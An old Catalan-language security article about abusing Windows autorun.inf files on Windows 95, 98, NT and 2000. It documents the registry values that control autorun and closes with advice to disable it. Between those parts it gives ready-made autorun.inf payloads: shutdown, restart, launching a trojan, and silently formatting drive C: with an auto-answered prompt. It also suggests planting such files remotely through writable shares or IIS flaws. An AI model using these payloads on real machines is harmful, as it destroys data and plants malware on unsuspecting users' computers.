per Àlex Castán Salinas
acastan@xtec.net
*--------------------* | | | El teu ordinador | | és mort... | | i abans estava viu | | _______ | | |.-----.| | | ||x . x|| | | ||_.-._|| | | `--)-(--' | | __[=== o]___ | | |:::::::::::|\ | | `-=========-'() | | | | No hauries d'haver | | instal·lat : | | | | -= M$'Windows =- | *--------------------*
Afecta a: Windows 95, 98, 2000 i NT 4.
No afecta a: -
A les següents línies explico un petit truc o vulnerabilitat que permet que un usuari pugui executar sense adonar-se'n un programa nostre.
Molts usuaris de Windows haureu pogut comprovar que en inserir un cdrom al vostre ordinador o en fer doble clic sobre la icona del cd, s'executa automàticament algun programa que ve amb el cdrom. Això es degut a que al directori arrel del cdrom que heu inserit existeix un petit arxiu anomenat 'autorun.inf' que indica quina icona substituirà a la icona habitual de la unitat i quin programa s'executarà automàticament en inserir el cdrom o fer doble clic sobre la seva icona.
Per exemple: introdueixo a la meva maquina un cdrom que tinc al meu abast i visualitzo el contingut del fitxer 'autorun.inf'.
[autorun]
open = notepad.exe AlexCD3.txt
icon = AlexCD3.ico
La línia 'open' indica que s'executarà el programa 'notepad.exe' (bloc de notes) obrint el fitxer de text 'AlexCD3.txt', que es contingut al directori arrel del cdrom.
La línia 'icon' indica que la icona de la unitat de cd serà substituïda per la icona continguda al fitxer 'AlexCD3.ico', també contingut al directori arrel del cdrom.
Trobareu més informació sobre els fitxers autorun aquí.
I que passa amb l'autorun? Doncs passa que aquesta característica de Windows no està limitada a la unitat de cd, sinó que es pot emprar a qualsevol unitat de disc: disquet, discs durs, discs de xarxa, discs virtuals a memòria RAM, zip, jazz, etc. Qualsevol d'ells pot tenir un fitxer 'autorun.inf' al seu directori arrel, indicant la nova icona i el programa a executar.
A les màquines amb Windows 95, 98 i NT 4, existeixen tres valors al registre que controlen la manera en què el fitxer 'autorun.inf' s'executa:
1) Un valor que controla si es produeix una notificació d'autoinserció quan s'introdueix un disc a una unitat de discos removible (cdrom, disquet, zip, etc.).
a Win9x
Clau : HKEY_LOCAL_MACHINE\Enum\SCSI\Nom_de_la_unitat\MF&...\
Nom : AutoInsertNotification
Valor : binari 01 (per defecte habilitat, per inhabilitar canviar a 00).
a WinNT
Clau : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\
Nom : Autorun
Valor : hexadecimal 0x00000001 (per defecte habilitat, per inhabilitar canviar a 0x00000000).
2) Un valor que controla sobre quin tipus d'unitats de disc no s'ha d'executar el fitxer 'autorun.inf'. El primer byte d'aquest valor és una màscara de bits, on un 0 indica que es pot executar el fitxer 'autorun.inf' a un determinat tipus d'unitat de disc i un 1 indica que no es pot executar.
Tipus unitat de disc Bit Valor per defecte
Tipus de disc desconegut 0 1
Disc sense directori arrel 1 0
Disc removible 2 1
Disc fix 3 0
Disc de xarxa 4 1
Disc cdrom 5 0
Disc RAM 6 0
Tipus de disc indefinit 7 1
Com podeu comprovar, l'autorun està per defecte habilitat per discos sense directori arrel, discos durs, cdrom i discos RAM.
a Win9x
Clau : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Nom : NoDriveTypeAutorun
Valor : binari 95 00 00 00 (per defecte habilitat per discs durs, per inhabilitar canviar a 9d 00 00 00)
a WinNT
Clau : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Nom : NoDriveTypeAutorun
Valor : hexadecimal 0x00000095 (per defecte habilitat per discs durs, per inhabilitar canviar a 0x0000009d)
on el valor binari 10010101 equival al valor hexadecimal 95, i el valor binari 10011101 equival al valor hexadecimal 9d
3) Un valor que controla sobre quina lletra d'unitat de disc no s'ha d'executar el fitxer 'autorun.inf'. Cada bit d'aquest valor representa la lletra d'una unitat, on el bit de la posició zero (dreta) és la A:, el següent és la B:, i així successivament. Un bit a 1 indica no executar l'autorun, i un bit a 0 sí. Per exemple: el valor hexadecimal 0x00000005 (que equival a 101 en binari) inhabilita l'autorun a les unitats A: i C: .
a Win9x
-----
Clau : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Nom : NoDriveAutorun
Valor : Cap (per defecte habilitat per totes les unitats).
a WinNT
-----
Clau : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Nom : NoDriveAutorun
Valor : Cap (per defecte habilitat per totes les unitats).
Podem crear fitxers 'autorun.inf' al directori arrel d'unitats de disc que tenen habilitat l'autorun (per defecte o per nosaltres), per tal que inesperadament s'executi algun programa en fer l'usuari doble clic sobre la icona de la unitat de disc. Algunes idees:
1. Apagar Windows.
+----------------------------------------+
| [autorun] |
| open = rundll user.exe,exitwindowsexec |
+----------------------------------------+
2. Reiniciar Windows.
+------------------------------------+
| [autorun] |
| open = rundll user.exe,exitwindows |
+------------------------------------+
3. Instal·lar un troià o un virus.
+------------------+
| [autorun] |
| open = troia.exe |
+------------------+
4. Formatejar el disc dur.
+--------------------------------------------+
| [autorun] |
| open = format c: /u /v:CatHack! < hola.txt |
+--------------------------------------------+
on 'hola.txt' es un fitxer que únicament conté una lletra 's'.
5. En Windows NT l'executable pot ser un fitxer que detecti els privilegis de l'usuari. Si l'usuari no té privilegis administratius, llavors invoca l'explorador de Windows, visualitzant el directori de la unitat amb normalitat. Si l'usuari sí té privilegis administratius, llavors invoca qualsevol troià i posteriorment invoca l'explorador de Windows, visualitzant el directori de la unitat com si res no hagués passat.
En alguns casos ens interessarà crear el fitxer 'autorun.inf' en el directori arrel d'una unitat fixa (disc dur) d'una màquina a la que no tenim accés físic. Feu servir llavors la vostra imaginació: trobar un disc compartit per aquesta maquina amb permisos per escriure, aprofitar alguna vulnerabilitat a l'Internet Information Server que permeti pujar un fitxer al directori arrel, etc.
Tal com heu vist, canvieu les claus del registre per tal d'inhabilitar la notificació d'autoinserció i d'inhabilitar l'autorun a discs durs i d'altres unitats.
Copyleft © Alejandro Castán Salinas
Es concedeix el permís per copiar, distribuir i/o modificar aquest document sota els termes de la llicència de documentació lliure GNU, versió 1.2 o qualsevol altra versió posterior publicada per la Free Software Foundation.
Podeu consultar dita llicència a http://www.gnu.org/copyleft/fdl.html.
El contingut d'aquest document pot canviar degut a ampliacions i a correccions enviades pels lectors. Trobareu sempre la ultima versió del document a http://www.xtec.net/~acastan/textos/index.html.